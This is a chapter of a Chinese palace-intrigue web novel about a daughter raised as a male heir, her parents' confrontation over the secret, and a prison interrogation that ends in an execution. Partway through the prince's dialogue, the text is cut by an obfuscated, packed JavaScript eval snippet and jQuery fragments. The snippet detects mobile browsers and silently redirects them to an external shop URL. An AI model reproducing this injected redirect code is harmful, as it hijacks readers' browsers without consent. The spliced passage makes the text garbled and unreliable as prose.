忠顺王府的夜，在季春时节，依然来得早。
酉时刚过，暮色便沉沉地压下来，将那些飞檐翘角、雕梁画栋都笼在一片朦胧的春霭里。府内处处掌灯，暖黄的光从一扇扇雕花窗棂透出来，投在湿润的青石路上，碎成一地斑驳的光晕。
缀锦轩是世子萧道煜的居所，在王府东南角，是个三进的院落。院中几株老梨树花期已近尾声，雪白的花瓣在夜风里簌簌飘落，阶前檐下，铺了一层淡淡的香雪，在渐浓的夜色中显得寂寥。
正房里灯火通明，却静得可怕。
萧道煜坐在紫檀木书案后，手里握着一卷《盐铁论》，目光却落在案头那盏琉璃灯上。灯芯噼啪爆了个灯花，火光跳跃，映得她脸上光影明灭。
她今日从永安伯府回来，便觉胸口发闷，腹中那处旧疾隐隐作痛。太医斐兰度开的药就放在手边，黑褐色的药汁早已凉透，面上凝了一层薄薄的膜。
“世子，”门外传来侍女的声音，“王妃来了。”
萧道煜眼皮都没抬：“请。”
门开了，一股淡淡的兰麝香气先飘进来，紧接着是绣鞋踏过地砖的轻响。忠顺王妃李氏穿着一身深青色缠枝莲纹褙子，外罩一件杏色薄绸披风，发髻梳得一丝不苟，只簪着一支赤金点翠凤钗，通身上下透着不容置疑的威仪。
她身后跟着两个嬷嬷，皆垂手肃立，眼观鼻鼻观心。
“你们都退下。”李氏声音平静。
嬷嬷们悄无声息地退出去，带上了门。
屋里只剩母子二人。
烛火跳动，将两个人的影子投在墙上，一个坐着，一个站着，隔着三尺距离，却像是隔了千山万水。
“今日去永安伯府了？”李氏开口，声音里听不出情绪。
“是。”
“听说你当众摔了盘子，说了些不该说的话。”
萧道煜终于抬起头，琥珀金色的眼睛在烛光里显得格外冷冽：“母亲觉得，哪些话不该说？”
李氏缓步走到书案前，目光扫过那碗凉透的药：“说朱门酒肉臭，说百姓饿肚子——这些都是实话，可实话不该从你嘴里说出来。”
“为什么？”萧道煜唇角勾起一丝讥诮的弧度，“因为我是‘世子’？因为我要维护这身锦衣玉食的体面？”
“因为你是忠顺王世子！”李氏声音陡然转厉，“因为你的一言一行，都代表着王府！你今日痛快了，可知道明日会有多少弹劾的折子递到御前？多少人等着抓王府的把柄？”
萧道煜慢慢站起身。她身形单薄，绯色常服穿在身上有些空荡，腰肢细得不盈一握，可站直了，却自有一股压人的气势。
“母亲，”她一字一顿，“我坐在北镇抚司的位子上，每日看的折子，抓的把柄，比您想象的要多得多。朱门酒肉臭不是秘密，路有冻死骨也不是新闻。满朝文武谁不知道？可谁又敢说？”
她往前走了一步，逼近母亲：“我敢说，是因为我不在乎。不在乎那些弹劾，不在乎那些非议，甚至不在乎这世子的位置。”
李氏脸色一白，手指攥紧了披风边缘：“你胡说什么！”
“我没胡说。”萧道煜笑了，笑得苍凉，“母亲，您当年把我扮作男儿，让我吃那些药，束胸缠腰，是为了什么？是为了让我当世子，当王爷，光耀门楣，延续香火——是不是？”
她顿了顿，声音低下来：“可您问过我吗？问过我想不想当这个世子？想不想穿这身男装？想不想每日对着镜子，看这张不男不女的脸？”
“放肆！”李氏扬手就要打。
萧道煜不躲不闪，只是看着她。那双琥珀金色的眼睛里，没有愤怒，没有委屈，只有一片深不见底的疲惫。
手掌停在半空，终究没有落下。
李氏的手在发抖。她看着女儿这张脸——这张继承了父母所有优点，美得惊心动魄，却也苍白得令人心悸的脸。二十年前那个春雨之夜，她抱着刚出生的女儿，看着窗外绵绵雨丝，做出那个改变两个人命运的决定时，手也是这么抖的。
“道煜……”她声音软下来，带着哭腔，“娘是为你好……这世道，女子太难了……你若是个女儿身，在这王府里，只会比现在更难……”
“更难？”萧道煜轻笑，“母亲，您知道我现在每日吃什么药吗？太医开的‘阳关三叠’，说是固本培元，实则是虎狼之药，以透支寿数为代价，压制女子特征。还有束胸的帛带，勒得我喘不过气，夜里常常痛醒。”
她解开衣领，露出脖颈下一片肌肤——那里有一道深红色的勒痕，新旧交错，触目惊心。
“这就是您说的‘好’？”她声音发颤，“让我像个怪物一样活着，男不男女不女，连自己是谁都不知道——这就是您为我选的路？”
李氏踉跄后退，扶住桌沿才站稳。她看着女儿颈上的伤痕，眼泪终于滚下来：“我……我不知道……那药……那药怎么会……”
“您不知道的事多了。”萧道煜系好衣领，转身背对母亲，“您不知道我十四岁初次月事来时，吓得以为自己要死了，却不敢告诉任何人，只能偷偷用布条垫着，血浸透了裤子，躲在房里哭。您不知道我每次去北镇抚司，那些犯人看我的眼神，像看一个怪物。您更不知道，我每晚做梦，都梦见自己穿着女装，在阳光下走路——可一醒来，还是这身男袍，这个身份。”
她闭上眼，声音轻得像叹息：“母亲，您杀了我两次。第一次是出生时，您让我成了‘世子’。第二次是现在，您让我连恨您，都恨不起来。”
屋里死寂。
只有烛火噼啪作响，和窗外渐渐沥沥的春雨声。
李氏站在原地，看着女儿单薄的背影。那个曾经在她怀里咿呀学语的小女孩，什么时候长成了这样？这样孤独，这样破碎，这样……恨她。
不，不是恨。
是比恨更可怕的东西——是认命。
“道煜……”她伸出手，想碰碰女儿的肩，却在半途停住。
“母亲请回吧。”萧道煜没有回头，“药我会喝，世子我会继续当。您放心，这出戏，我会演到最后。”
李氏的手慢慢垂下。她张了张嘴，想说什么，却一个字也说不出来。许久，她转身，一步一步走向门口。脚步踉跄，像个一夜之间老去十岁的妇人。
门开了又关。
雨声大了些，敲在窗棂上，滴滴答答，像是谁在哭。
萧道煜依然站着，背挺得笔直。直到确认母亲走远了，她才猛地弯下腰，剧烈地咳嗽起来。她用手捂住嘴，咳得撕心裂肺，指缝间渗出暗红的血丝。
“世子！”萨林从暗处闪出，扶住她。
“没事……”萧道煜摆摆手，用手帕擦去血迹，“老毛病了。”
萨林看着她苍白的脸，绿眸里闪过一丝痛楚。他想说什么，却终究只是沉默地递上一杯温水。
萧道煜接过，慢慢喝了一口。温水润过喉咙，缓解了些许灼痛。
“萨林，”她忽然问，“如果你是我，会怎么做？”
萨林单膝跪地：“卑职永远是世子的刀。世子要臣杀谁，臣就杀谁。世子要臣护谁，臣就护谁。”
“起来吧。”萧道煜苦笑。
她走到窗前，推开窗。夜风裹着温润的雨丝和泥土的气息吹进来，隐约还能闻到远处晚开的海棠那若有若无的甜香。远处，王府的主院澄观斋还亮着灯——那是父亲忠顺王萧善钧的书房。
她看着那点灯火，眼中闪过复杂的神色。
母亲今夜会去找父亲吗？
会说出那个秘密吗？
还是像过去的二十年一样，继续守着这个谎言，直到所有人都烂在这座华丽的坟墓里？
雨越下越大，绵密的春雨打在庭院新绿的叶上，沙沙作响。
澄观斋里，灯火通明。
忠顺王萧善钧坐在紫檀木太师椅上，手里把玩着一枚祖母绿扳指。他年近五十，鬓角已见霜色，但保养得宜，面容依然俊朗，尤其一双桃花眼，与萧道煜如出一辙，只是眼神里多了几分慵懒与算计。
书案上摊着一幅地图，标注着北疆各处的兵力部署。窗外雨声潺潺，他听得有些心烦，正要唤人添茶，门外传来急促的脚步声。
“王爷，”管事的声音在门外响起，“王妃求见。”
萧善钧眉头微蹙。这么晚了，李氏来做什么？
“让她进来。”
门开了，李氏几乎是冲进来的。她没打伞，头发被雨淋湿了，几缕贴在额前，显得有些狼狈。身上的薄绸披风也湿透了，紧紧贴在身上。
“王爷……”她开口，声音发颤。
萧善钧摆摆手，示意管事退下。门关上后，他才淡淡问：“何事如此慌张？”
李氏扑通一声跪在地上。
这个动作让萧善钧一怔。李氏是正妃，是梅州李氏的嫡女，向来端庄持重，从未有过这般失态。
“王爷，”李氏抬起头，脸上泪痕交错，“妾身……妾身有罪。”
“罪？”萧善钧放下扳指，身子微微前倾，“何罪？”
李氏嘴唇哆嗦着，几次欲言又止。她看着丈夫这张脸——这张她看了二十多年的脸，俊美，威严，却永远隔着一层冰。他们的婚姻是政治联姻，相敬如“冰”了二十年，她从未在他面前真正放松过。
可今夜，她撑不住了。
那个秘密太重了，重得她快被压垮了。
“王爷可还记得，”她声音低得像耳语，“二十年前，妾身生产那夜……”
萧善钧眼神一凝。
他当然记得。那夜也是这样的春雨，绵绵不绝。他守在产房外，听着里头李氏的惨叫，心中并无多少波澜——这个孩子于他而言，不过是延续香火的工具，是巩固权力的棋子。
后来稳婆抱出婴儿，说是世子，他看了一眼，确实是个带把的。至于后来那些关于世子男生女相的传言，他并未在意。男孩女相是有福之相，他一直这么认为。
“那夜……”李氏闭上眼，泪水滚滚而下，“妾身生的……是个女儿。”
书房里静得可怕。
只有雨声，敲在琉璃瓦上，敲在青石板上，敲在两个人的心上。
许久，萧善钧缓缓站起身。他走到李氏面前，居高临下地看着她，声音平静得令人发寒：“你再说一遍。”
“是个女儿……”李氏伏在地上，浑身发抖，“妾身怕……怕无子被休，怕牵连母族……所以……所以让稳婆做了手脚，对外说是世子……”
“混账！”
一只茶盏砸在地上，碎瓷四溅，热茶泼了李氏一身。她不敢躲，只是瑟瑟发抖。
萧善钧胸膛剧烈起伏，盯着地上这个同床异梦二十年的女人，第一次有了杀意。他萧善钧，忠顺亲王，太上皇最宠爱的儿子，竟被一个女人骗了二十年！他的“世子”，他寄予厚望的继承人，竟是个女子！
荒唐！
可笑！
“你好大的胆子！”他一脚踹在李氏肩上，将她踹倒在地，“欺君之罪，是要满门抄斩的！你知不知道！”
李氏爬起来，重新跪好，额头抵在地上：“妾身知道……妾身该死……可王爷，道煜她……她这些年在北镇抚司，为王爷立了多少功劳？她比男子更出色，更狠厉，更懂得权谋……王爷，就算她是女子，也……”
“也什么？”萧善钧冷笑，“也能当世子？也能继承王位？也能在这男尊女卑的世道里，稳坐江山？”
他转身，背对着李氏，声音像淬了冰：“李氏，你听好了。这个秘密，你给我烂在肚子里。道煜必须是世子，只能是世
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996004|193874||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子。若有一日泄露出去，不仅你要死，你梅州李氏全族，一个都活不了。”
李氏瘫坐在地，面如死灰。
她早知道会是这个结果。丈夫不会认错，不会回头，只会将错就错，继续这出荒唐的戏。
“那……那道煜呢？”她颤声问，“她吃那些药，束胸缠腰，身子已经……”
“那是她的命。”萧善钧打断她，语气冷酷，“从你把她扮作男儿那刻起，这就是她的命。她得继续演下去，演到死为止。”
他走到窗边，看着外面沉沉的春夜，雨幕如帘。许久，他低声说：“明日我会请太医给她好好瞧瞧，开些调理的药。北镇抚司那边……她也该收收心了。一个女子，整日打打杀杀，成何体统。”
这话说得轻描淡写，却让李氏浑身发冷。
她忽然明白了——丈夫从未把道煜当女儿，甚至从未当人。那只是个工具，一把好用的刀。如今刀快要断了，他不是心疼，而是在想怎么换一把。
“王爷……”她还想说什么。
“退下吧。”萧善钧摆摆手，“今夜的话，我就当没听过。你最好也忘了。”
李氏慢慢站起身，双腿发软，几乎站不稳。她看了丈夫的背影一眼——那个背影挺拔，威严，却冰冷得没有一丝温度。
她转身，踉跄着走出书房。
雨还在下，淅淅沥沥，仿佛永无止境。
北镇抚司的诏狱，在地下。
顺着石阶往下走，越走越冷，越走越暗。墙壁上插着火把，跳跃的火光将人影投在湿漉漉的石壁上，扭曲变形，像一个个鬼影。
空气中弥漫着血腥味、霉味和一种难以形容的腐臭。深处传来隐约的呻吟，像野兽垂死的呜咽。
萧道煜走在最前面，绯色官袍在昏黄火光里泛着暗红的光。她脸色苍白，唇色浅淡，但脊背挺得笔直，每一步都踏得稳当。
萨林跟在她身后半步，手按在腰间弯刀刀柄上，绿眸警惕地扫视四周。再往后是几个黑鳞卫，铁甲铿锵，脚步声在甬道里回荡。
走到最深处一间刑室，萧道煜停下脚步。
刑室不大，四面石墙，顶上吊着几根铁链。正中一个木架上绑着个人，衣衫破烂，浑身血污，低垂着头，已看不出原本面貌。
听见脚步声，那人缓缓抬起头。是个中年男子，脸颊凹陷，眼窝深陷，但眼中还有一丝未灭的光。
“世子爷……”他嘶声开口，声音沙哑得像破风箱。
萧道煜在刑室中央的椅子上坐下，萨林立刻递上一杯热茶。她接过，并不喝，只是暖着手。
“张千帆，”她开口，声音清冷，“扬州漕帮三当家，专走私盐。三月廿七，你在黑水渡劫了一船官盐，杀了七个押运官兵——是也不是？”
张千帆咧嘴笑了，露出染血的牙齿：“是又如何？不是又如何？你们这些当官的，哪个不贪？我劫的是官盐，可那些盐，本就是你们从百姓嘴里抠出来的！”
萧道煜神色不变，只轻轻吹了吹茶汤上的浮沫：“说得不错。可你杀人了。”
“他们该杀！”张千帆嘶吼，“那些官兵，哪个手上没沾百姓的血？去年扬州大水，朝廷拨了十万两赈灾银，到百姓手里剩多少？三千两！剩下的哪去了？被你们这些狗官贪了！”
他越说越激动，挣扎着，铁链哗啦作响：“我张千帆是劫了盐，可那些盐，我一半卖了换钱，一半分给了穷苦百姓！我问心无愧！”
刑室里一片死寂。
只有火把燃烧的噼啪声，和张千帆粗重的喘息。
许久，萧道煜放下茶杯，站起身，走到张千帆面前。她个子不矮，但比起这个漕帮汉子，还是显得单薄。可当她抬眼看他时，那双琥珀金色的眼睛里透出的威压，竟让张千帆下意识地瑟缩了一下。
“张千帆，”她缓缓开口，“你说得对，那些官该杀，该贪的银子该追。可这不是你杀官兵、劫官盐的理由。”
她顿了顿，声音更冷：“你可知，那七个官兵里，有一个叫陈二狗的，家里有个瞎眼的老娘，还有个三岁的女儿？他死了，那对祖孙靠什么活？你分给百姓的盐，可曾分给她们？”
张千帆怔住。
“你还可知，”萧道煜继续说，“你劫的那船盐，是扬州盐课司的税银押运。盐课司收不上税，朝廷就没钱发军饷。北疆正在打仗，将士们饿着肚子守边关——这些，你可曾想过？”
张千帆嘴唇哆嗦，说不出话来。
萧道煜后退一步，看着他，眼中闪过一丝复杂的情绪——是怜悯？是讥诮？还是别的什么？
“张千帆，你不是恶人，”她轻声道，“可你做了恶事。这世道就是这样，好人做了恶事，一样要受罚。”
她转身，对萨林说：“给他个痛快。”
萨林点头，拔刀。
这世道，人人都在吃人。
她也一样。
走出诏狱，天已蒙蒙亮。雨停了，东方泛起鱼肚白，将云层染成淡淡的胭脂色。空气中弥漫着雨后泥土与新生草木的清新气息，诏狱外砖缝里，几株嫩绿的野草正奋力探出头。
萨林跟在她身后，低声道：“世子，长春宫那边……”
“我知道。”萧道煜打断他，抬头看着渐渐亮起来的天，几只早起的燕子剪过微明的天际，“萨林，你说，这天什么时候会亮透？”
萨林不知如何回答。
萧道煜也没指望他回答。她只是看着天，看了很久，然后轻声说：“回府吧。”
绯色官袍在晨光里渐行渐远，单薄的身影被拉得很长，像一道孤独的剪影。
远处传来钟声，悠长，沉重，一声一声，敲在这座皇城的季春清晨里。
新的一天开始了。
可有些事，永远不会结束。